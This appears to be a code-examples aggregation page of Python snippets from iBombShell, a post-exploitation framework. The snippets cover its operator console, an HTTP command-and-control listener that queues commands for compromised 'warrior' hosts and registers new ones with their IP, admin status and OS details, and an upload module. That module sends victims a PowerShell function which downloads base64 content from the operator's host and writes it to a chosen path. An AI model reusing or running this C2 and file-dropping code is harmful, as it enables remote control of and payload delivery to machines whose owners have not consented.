예제 #1
1
    def console(self):
        # commands & functions
        self.switcher = {
            "load": self.load,
            "set": self.set,
            "unset": self.unset,
            "global": self.setglobal,
            "show": self.show,
            "run": self.run,
            "back": self.back,
            "warrior": self.warrior,
            "quit": self.quit,
            "help": self.help,
        }
        # Configuring the commpleter
        self.comp = Completer([
            'load', 'set', 'unset', 'global', 'show', 'run', 'back', 'warrior',
            'quit', 'help'
        ])
        readline.set_completer_delims(' \t\n;')
        readline.parse_and_bind("tab: complete")
        readline.set_completer(self.comp.complete)

        print(banners.get_banner())
        cprint(' [+]', 'yellow', end='')
        print(' Starting the console...')
        cprint(' [*]', 'green', end='')
        print(' Console ready!\n')

        self.session = None

        while True:
            try:
                if self.session is None:
                    # /* Definitions available for use by readline clients. */
                    # define RL_PROMPT_START_IGNORE  '\001'
                    # define RL_PROMPT_END_IGNORE    '\002'
                    user_input = input(
                        '\001\033[1;32m\002iBombShell> \001\033[0m\002').strip(
                        )
                else:
                    user_input = input('iBombShell[' + '\001\033[1;32m\002' +
                                       self.session.header() +
                                       '\001\033[0m\002' + ']> ').strip()

                if user_input == "":
                    continue
                else:
                    self.switch(user_input)
            except KeyboardInterrupt:
                signal.signal(signal.SIGINT, self.keyboard_interrupt_handler)
                print("")
                Warrior.get_instance().kill_warriors()
            except Exception as e:
                print_error(e)
예제 #2
0
    def do_GET(self):
        warrior_path = Config.get_instance().get_warrior_path() + "ibs-"
        regex = re.findall(r'^(.+)/([^/]+)$', self.path)
        route = ''
        try:
            route = regex[0][0].strip('/')
            route_id = regex[0][1]
        except Exception:
            print_error('Error creating warrior...')

        a = ''
        if route == "ibombshell":
            try:
                with open('{}{}'.format(warrior_path, route_id), 'r') as f:
                    a = f.read()

                if a is not '':
                    print("")
                    print_ok('Warrior {} get iBombShell commands...'.format(
                        route_id))
                    with open('{}{}'.format(warrior_path, route_id), 'w') as f:
                        f.write('')
                else:
                    Warrior.get_instance().review_status(route_id)
            except Exception:
                print_error('Warrior {} don\'t found'.format(route_id),
                            start="\n")

        self._set_response()
        #self.wfile.write("GET request for {}".format(self.path).encode('utf-8'))
        self.wfile.write(a.encode('utf-8'))
예제 #3
0
 def setglobal(self, user_input=[]):
     self._check_set(user_input)
     try:
         value = ' '.join([str(x) for x in user_input[1:]])
         self.session.set(user_input[0], value)
         Global.get_instance().add_value(user_input[0], value)
     except:
         print_error("Option not found for your configuration, use show")
예제 #4
0
 def instantiate_module(self, path):
     try:
         print_ok('Loading module...')
         m = importlib.import_module(path)
         print_ok('Module loaded!')
         return m.CustomModule()
     except ImportError as error:
         m = 'Error importing the module: ' + str(error)
         print_error(m)
         return None
예제 #5
0
 def load(self, user_input=None):
     if not user_input:
         self._raise_exception_specify("module")
     self.session = Session(user_input[0])
     # The module is incorrect
     if not (self.session.correct_module()):
         print_error('Invalid module')
         self.session = None
     else:
         self.comp.set_commands_to_set(self.session.get_options_name())
예제 #6
0
    def run(self):
        if not(self._module.check_arguments()):
            raise Exception('REQUIRED ARGUMENTS NOT SET...exiting')

        print_ok('Running module...')
        try:
            self._module.run_module()
        except KeyboardInterrupt:
            print_error('Exiting the module...' )
        except Exception as error:
            m = 'Error running the module: ' + str(error)
            print_error(m)
            print_ok('Module exited')
예제 #7
0
 def switch(self, u_input):
     try:
         if u_input.startswith("#"):
             self.execute_command(u_input[1:])
         else:
             u_input = u_input.split()
             if len(u_input) >= 2:
                 self.switcher.get(u_input[0],
                                   self._command_error)(u_input[1:])
             else:
                 self.switcher.get(u_input[0], self._command_error)()
     except Exception as e:
         print_error(e)
예제 #8
0
    def rename_warrior(self, warrior):
        if not self.exist_warrior(warrior):
            raise Exception("Warrior {} doesn't exist".format(warrior))
        path_to_rename = self.get_warrior_path(warrior)
        if path_to_rename:
            new_name = ""
            while not new_name:
                new_name = input("Write the new name: ")
                if self.exist_warrior(new_name):
                    print_error("There's already a warrior with that name.")
                    new_name = ""

            with open(path_to_rename, 'a') as f:
                f.write("""$id = '{}'
                return 'I have been renamed to {}'""".format(
                    new_name, new_name))
            print_info("Renaming ... ")
            sleep(5)
            w = self.warriors[warrior]
            self.warriors[new_name] = w
            self.remove_warrior(warrior)
            new_path = path_to_rename.split("ibs-")[0] + "ibs-" + new_name
            open(new_path, "w")
예제 #9
0
    def do_POST(self):
        global FILE_SENDED, FILE_SENDED_ERROR

        content_length = int(self.headers['Content-Length'])
        post_data = self.rfile.read(content_length)
        self._set_response()

        self.wfile.write(''.encode('utf-8'))

        try:
            post_data = post_data.decode()
            fields = parse_qs(post_data)
            results = fields['results'][0]

            recv = str(unquote(results))  # normally a base64 string

            if recv == 'Received':
                FILE_SENDED = True
            elif recv == 'Error':
                FILE_SENDED_ERROR = True

        except:
            print_error("Error reading results at file upload.")
            FILE_SENDED_ERROR = True
예제 #10
0
    def run_module(self):
        global FILE_SENDED, FILE_SENDED_ERROR, FILE

        function = """function upload {
    param (
        [Parameter(Mandatory)]
        [string] $sourceUri,
        [Parameter(Mandatory)]
        [string] $destination
    )
    
    try
    {
        $req = iwr -UseBasicParsing -uri $sourceUri
        $base64 = $req.Content
        $bytes = [System.Convert]::FromBase64String($base64)

        [System.IO.File]::WriteAllBytes($destination, $bytes)

        $req = iwr -UseBasicParsing -uri $sourceUri -Method POST -Body @{results='Received'}

        return 'Done'
    }
    catch
    {
        $req = iwr -UseBasicParsing -uri $sourceUri -Method POST -Body @{results='Error'}
        return 'An error ocurried'
    }
}
"""

        FILE = self.args["source"]
        dest = self.args["dest"].replace('/', '\\')
        if not dest.endswith('\\'):
            dest += '\\'
        dest += FILE.split("/")[-1]

        function += "upload -sourceUri 'http://{}:{}/' -destination '{}'".format(
            self.args["ip"], self.args["port"], dest)
        listener = Thread(target=self.run,
                          name='upload listener',
                          kwargs={
                              'address': self.args["interface"],
                              'port': int(self.args["port"])
                          })
        print_info("Sending file... waiting answer from warrior")
        listener.start()
        super(CustomModule, self).run(function)

        while not FILE_SENDED and not FILE_SENDED_ERROR:
            pass

        if FILE_SENDED:
            print_info('File sended correctly.')

        elif FILE_SENDED_ERROR:
            print_error('An error ocurried sending the file.')

        FILE_SENDED = False
        FILE_SENDED_ERROR = False
        FILE = ''
        sleep(1)
예제 #11
0
    def do_POST(self):
        warrior_path = Config.get_instance().get_warrior_path() + "ibs-"
        ip_src = self.client_address[0]

        regex = re.findall(r'^(.+)/([^/]+)$', self.path)
        route = ''
        route_id = ''
        try:
            route = regex[0][0].strip('/')
            route_id = regex[0][1]
        except Exception:
            print_error('Error creating warrior...')

        content_length = int(
            self.headers['Content-Length'])  # <--- Gets the size of data
        post_data = self.rfile.read(
            content_length)  # <--- Gets the data itself

        self._set_response()
        self.wfile.write(''.encode('utf-8'))

        try:
            post_data = post_data.decode()
            fields = parse_qs(post_data)

            if not fields:
                return
            results = ""
            results = fields['results'][0]

            try:
                url = str(unquote(results))
                if route == "newibombshell" and route_id != '':

                    if Warrior.get_instance().exist_warrior(route_id):
                        print_error('Warrior already exists!')
                        return

                    with open('{}{}'.format(warrior_path, route_id), 'w') as f:
                        f.write('')
                    print("")
                    print_ok("New warrior {} from {}".format(route_id, ip_src))
                    data = json.loads(url)
                    is_admin = data['admin'] != 'no'
                    os_version = data['os_version'].strip('\r\n')
                    os_arch = data['os_arch'].strip('\r\n')
                    Warrior.get_instance().add_warrior(route_id,
                                                       self.client_address[0],
                                                       is_admin, os_version,
                                                       os_arch)
                    Warrior.get_instance().print_warrior(route_id)

                else:
                    for result in url.split("\\n"):
                        print_info(result)
            except Exception:
                if results is not '':
                    print_info(results)
                else:
                    print_error('Error reading results!')
        except Exception as e:
            print_error('Error parsing the result!')
            print_error(e)

        enter_input()
예제 #12
0
 def keyboard_interrupt_handler(self, signal, frame):
     print_error("Closing iBombShell, Wait...")